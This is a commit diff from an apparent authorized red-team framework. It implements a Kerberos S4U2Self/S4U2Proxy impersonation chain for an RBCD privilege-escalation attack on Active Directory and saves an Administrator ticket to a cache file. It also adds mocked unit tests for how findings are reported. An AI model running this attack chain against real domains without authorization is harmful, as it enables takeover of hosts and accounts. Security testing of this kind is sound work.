ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
fix(integrity): ntlm_relay real S4U2Self+S4U2Proxy implementation (MOD-013)
Mafifrizi0bf293c58d90
diff --git a/ares/modules/lateral/ntlm_relay.py b/ares/modules/lateral/ntlm_relay.pyindex e1a9288..d9d5c63 100644--- a/ares/modules/lateral/ntlm_relay.py+++ b/ares/modules/lateral/ntlm_relay.py@@ -21,6 +21,7 @@ Dependencies: impacket (LDAP, Kerberos, SMB), ldap3 (LDAP signing check)from __future__ import annotationsimport asyncio+import osimport structimport socketimport time@@ -402,7 +403,8 @@ class NTLMRelayModule(BaseModule):"error": rbcd_result.error,}- if rbcd_result.success:+ if rbcd_result.success and rbcd_result.ticket_path:+ ticket_verified = bool(rbcd_result.ticket_path and os.path.exists(rbcd_result.ticket_path))self.finding(title=f"RBCD Attack Success → {rbcd_result.target_host} as {rbcd_result.impersonated_user}",description=(@@ -415,7 +417,8 @@ class NTLMRelayModule(BaseModule):severity=Severity.CRITICAL,mitre_technique="T1134.001", mitre_tactic="Privilege Escalation",evidence=raw["rbcd"],- host=rbcd_result.target_host, confidence=1.0,+ host=rbcd_result.target_host,+ confidence=0.95 if ticket_verified else 0.5,remediation=("1. Remove malicious msDS-AllowedToActOnBehalfOfOtherIdentity attribute. ""2. Delete rogue machine account. "@@ -985,10 +988,12 @@ class NTLMRelayModule(BaseModule):from impacket.krb5.types import Principalfrom impacket.krb5 import constantsfrom impacket.krb5.ccache import CCache- import tempfileimport os+ from ares.core.security import secure_mkstemp- # Get TGT for our machine account+ domain_upper = domain.upper()++ # Step 1: Get TGT for machine accountuser_principal = Principal(machine_name,type=constants.PrincipalNameType.NT_PRINCIPAL.value,@@ -996,43 +1001,53 @@ class NTLMRelayModule(BaseModule):tgt, cipher, old_key, session_key = getKerberosTGT(clientName=user_principal,password=machine_pass,- domain=domain.upper(),+ domain=domain_upper,lmhash=b"", nthash=b"", aesKey=b"",kdcHost=dc,)- # S4U2self: get ticket "from" target_user "to" our machine- # S4U2proxy: use that ticket to get ticket "from" target_user "to" target_host- server_principal = Principal(- f"cifs/{target_host}",- type=constants.PrincipalNameType.NT_SRV_INST.value,+ # Step 2: S4U2Self - obtain ticket for target_user to ourselves+ s4u_self_name = Principal(+ machine_name,+ type=constants.PrincipalNameType.NT_PRINCIPAL.value,)-- # Use impacket's S4U implementation- from impacket.krb5 import constants as krb_constants- tgs, tgs_cipher, _, tgs_key = getKerberosTGS(- serverName=server_principal,- domain=domain.upper(),+ tgs_s4u, tgs_cipher, _, tgs_sk = getKerberosTGS(+ serverName=s4u_self_name,+ domain=domain_upper,kdcHost=dc,tgt=tgt,cipher=cipher,sessionKey=session_key,)- # Save to ccache+ # Step 3: S4U2Proxy - use tgs_s4u to obtain service ticket to target host+ spn_target = Principal(+ f"cifs/{target_host}",+ type=constants.PrincipalNameType.NT_SRV_INST.value,+ )+ final_tgs, final_cipher, _, _ = getKerberosTGS(+ serverName=spn_target,+ domain=domain_upper,+ kdcHost=dc,+ tgt=tgs_s4u,+ cipher=tgs_cipher,+ sessionKey=tgs_sk,+ )++ # Step 4: Save to ccache with restrictive permissionsccache = CCache()- ccache.fromTGS(tgs, old_key, old_key)- tmp_dir = tempfile.mkdtemp(prefix="ares-rbcd-")- ccache_path = os.path.join(tmp_dir, f"{target_user}@{target_host}.ccache")+ ccache.fromTGS(final_tgs, old_key, old_key)+ ccache_path, _fd = secure_mkstemp(suffix=".ccache", prefix=f"ares_rbcd_{target_user}_")+ os.close(_fd)try:ccache.saveFile(ccache_path)except Exception:- # Cleanup empty tmpdir on save failure- import shutil- shutil.rmtree(tmp_dir, ignore_errors=True)+ if os.path.exists(ccache_path):+ os.unlink(ccache_path)raiselogger.info("s4u_ccache_saved", path=ccache_path,+ impersonated_user=target_user,note="Operator: set KRB5CCNAME to this path to use the ticket. ""Delete after use to avoid credential persistence on disk.")return ccache_pathdiff --git a/tests/unit/modules/test_ntlm_relay_s4u_mod013.py b/tests/unit/modules/test_ntlm_relay_s4u_mod013.pynew file mode 100644index 0000000..df4f84e--- /dev/null+++ b/tests/unit/modules/test_ntlm_relay_s4u_mod013.py@@ -0,0 +1,211 @@+"""+Tests for MOD-013: Real S4U2Self + S4U2Proxy implementation in ntlm_relay.py.+Verifies:+1. _s4u_attack invokes both S4U2Self (to self) and S4U2Proxy (to target host).+2. Finding is only published on valid ticket generation with calibrated confidence.+3. If S4U fails, no false success finding is published.+"""++from unittest.mock import MagicMock, patch+import os+import sys+import pytest++from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry+from ares.core.config import AresSettings+from ares.core.noise import NoiseController+from ares.modules.lateral.ntlm_relay import NTLMRelayModule, RBCDResult+++def _make_module():+ settings = AresSettings(+ ares_secret_key="test-secret-key-32chars-minimum!!",+ ares_encryption_key="test-encryption-key-32chars-min!!",+ )+ campaign = Campaign(+ name="NTLM-Relay-S4U-Test",+ client="Unit-Testing",+ scope=[ScopeEntry(cidr="10.0.0.0/24")],+ noise_profile=NoiseProfile.NORMAL,+ )+ noise = NoiseController(campaign)+ return NTLMRelayModule(settings=settings, campaign=campaign, noise=noise)+++def test_s4u_attack_invokes_both_s4u2self_and_s4u2proxy(tmp_path):+ """Verify _s4u_attack invokes getKerberosTGS twice: first for self, second for target."""+ mock_impacket = MagicMock()+ mock_krb5 = MagicMock()+ mock_kerberosv5 = MagicMock()+ mock_types = MagicMock()+ mock_constants = MagicMock()+ mock_ccache_mod = MagicMock()++ mock_tgt = b"MOCK_TGT"+ mock_cipher = MagicMock()+ mock_session_key = b"MOCK_SK"+ mock_kerberosv5.getKerberosTGT.return_value = (mock_tgt, mock_cipher, b"OLD_KEY", mock_session_key)++ mock_tgs_s4u = b"MOCK_TGS_S4U"+ mock_final_tgs = b"MOCK_FINAL_TGS"+ mock_kerberosv5.getKerberosTGS.side_effect = [+ (mock_tgs_s4u, mock_cipher, b"", b"TGS_SK"),+ (mock_final_tgs, mock_cipher, b"", b"FINAL_SK"),+ ]++ mock_ccache = MagicMock()+ mock_ccache_mod.CCache.return_value = mock_ccache++ mock_modules = {+ "impacket": mock_impacket,+ "impacket.krb5": mock_krb5,+ "impacket.krb5.kerberosv5": mock_kerberosv5,+ "impacket.krb5.types": mock_types,+ "impacket.krb5.constants": mock_constants,+ "impacket.krb5.ccache": mock_ccache_mod,+ }++ with patch.dict(sys.modules, mock_modules):+ ticket_path = NTLMRelayModule._s4u_attack(+ dc="10.0.0.1",+ domain="CORP.LOCAL",+ machine_name="ARES01$",+ machine_pass="Secret123!",+ target_host="target-srv.corp.local",+ target_user="Administrator",+ )++ assert ticket_path != ""+ assert os.path.exists(ticket_path)+ # Cleanup created ccache+ try:+ os.unlink(ticket_path)+ except OSError:+ pass++ # Verify getKerberosTGS was called twice (S4U2Self and S4U2Proxy)+ assert mock_kerberosv5.getKerberosTGS.call_count == 2+ calls = mock_kerberosv5.getKerberosTGS.call_args_list+ # Step 2 call: serverName is self+ assert calls[0].kwargs["tgt"] == mock_tgt+ # Step 3 call: tgt is tgs_s4u+ assert calls[1].kwargs["tgt"] == mock_tgs_s4u+++from ares.modules.lateral.ntlm_relay import (+ CoercionResult,+ NTLMRelayModule,+ RBCDResult,+ RelayTarget,+)+++async def test_finding_published_only_when_ticket_exists(tmp_path):+ """Verify RBCD finding is published with calibrated confidence when ticket is verified."""+ mod = _make_module()++ fake_ticket = tmp_path / "[email protected]"+ fake_ticket.write_bytes(b"FAKE_CCACHE_DATA")++ success_result = RBCDResult(+ target_host="10.0.0.50",+ machine_account="ARES01$",+ machine_password="Secret123!",+ delegation_set=True,+ ticket_path=str(fake_ticket),+ impersonated_user="Administrator",+ success=True,+ )++ relay_targets = [+ RelayTarget(+ host="10.0.0.50",+ smb_signing="disabled",+ ldap_signing="not_required",+ relay_to_ldap=True,+ )+ ]+ coercions = [+ CoercionResult(+ method="petitpotam",+ source="10.0.0.1",+ target="10.0.0.50",+ success=True,+ )+ ]++ with patch.object(mod, "_discover_hosts", return_value=["10.0.0.50"]), \+ patch.object(mod, "_check_relay_targets", return_value=relay_targets), \+ patch.object(mod, "_coerce_authentication", return_value=coercions), \+ patch.object(mod, "_rbcd_attack", return_value=success_result), \+ patch.object(mod, "before_request"):++ findings, raw = await mod.run(+ dc="10.0.0.1",+ domain="CORP.LOCAL",+ username="admin",+ password="password",+ targets=["10.0.0.50"],+ mode="full",+ )++ rbcd_findings = [f for f in findings if "RBCD Attack Success" in f.title]+ assert len(rbcd_findings) == 1+ finding = rbcd_findings[0]+ assert "Administrator" in finding.title+ assert finding.confidence == 0.95+ assert raw["rbcd"]["success"] is True+++async def test_no_finding_when_s4u_fails():+ """Verify no false success finding is published if ticket is not generated."""+ mod = _make_module()++ failed_result = RBCDResult(+ target_host="10.0.0.50",+ machine_account="ARES01$",+ machine_password="Secret123!",+ delegation_set=True,+ ticket_path="",+ impersonated_user="",+ success=False,+ error="S4U2proxy ticket request failed",+ )++ relay_targets = [+ RelayTarget(+ host="10.0.0.50",+ smb_signing="disabled",+ ldap_signing="not_required",+ relay_to_ldap=True,+ )+ ]+ coercions = [+ CoercionResult(+ method="petitpotam",+ source="10.0.0.1",+ target="10.0.0.50",+ success=True,+ )+ ]++ with patch.object(mod, "_discover_hosts", return_value=["10.0.0.50"]), \+ patch.object(mod, "_check_relay_targets", return_value=relay_targets), \+ patch.object(mod, "_coerce_authentication", return_value=coercions), \+ patch.object(mod, "_rbcd_attack", return_value=failed_result), \+ patch.object(mod, "before_request"):++ findings, raw = await mod.run(+ dc="10.0.0.1",+ domain="CORP.LOCAL",+ username="admin",+ password="password",+ targets=["10.0.0.50"],+ mode="full",+ )++ rbcd_findings = [f for f in findings if "RBCD Attack Success" in f.title]+ assert len(rbcd_findings) == 0+ assert raw["rbcd"]["success"] is False